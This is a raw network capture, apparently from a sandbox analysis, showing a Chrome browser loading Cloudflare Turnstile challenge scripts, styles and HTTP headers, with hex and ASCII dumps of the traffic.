2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 48 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 48 65 7c 7c 28 48 65 3d 7b 7d 29 29 3b 76 61 72 20 4f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var He;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(He\|\|(He={}));var Oe;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 53 74 61 6c 65 45 78 65 63 75 74 65 3d 22 73 74 61 6c 65 5f 65 78 65 63 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 Data Ascii: StaleExecute="stale_execute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_mi
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 7b 76 61 72 20 74 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f Data Ascii: {var t=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&t.set("clearance_
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 3d 4f 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 4f 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 4c 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 73 3d 4d 28 4d 72 2c 28 68 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c Data Ascii: =Oe.FAILURE_FEEDBACK\|\|e.state===Oe.FAILURE_HAVING_TROUBLES,l,g=M(Lr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),h,s=M(Mr,(h=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 2c 61 29 7b 72 65 74 75 72 6e 20 7a 65 28 29 3f 43 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 43 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 67 26 26 74 65 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 43 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 6c 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 Data Ascii: ,a){return ze()?Ce=Reflect.construct:Ce=function(c,l,g){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return g&&te(p,g.prototype),p},Ce.apply(null,arguments)}function le(e){return le=Object.setPrototypeOf?Object.getPrototypeOf:func
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 6a 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 6a 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 6a 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 49 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b Data Ascii: }function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(je)?e.substring(je.length):null}function $(e){return"".concat(je).concat(e)}function It(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,t=document.currentScript;
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 5f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 Data Ascii: ter",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var _=document.creat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:07 UTC	828	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:07 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26768 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-22 06:24:07 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 35 64 37 35 38 63 39 63 37 66 35 65 36 38 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 905d758c9c7f5e68-EWRalt-svc: h3=":443"; ma=86400
2025-01-22 06:24:07 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:07 UTC	383	OUT	GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:07 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48121 Connection: close accept-ranges: bytes last-modified: Wed, 15 Jan 2025 14:50:44 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 905d758c9bc67293-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:07 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 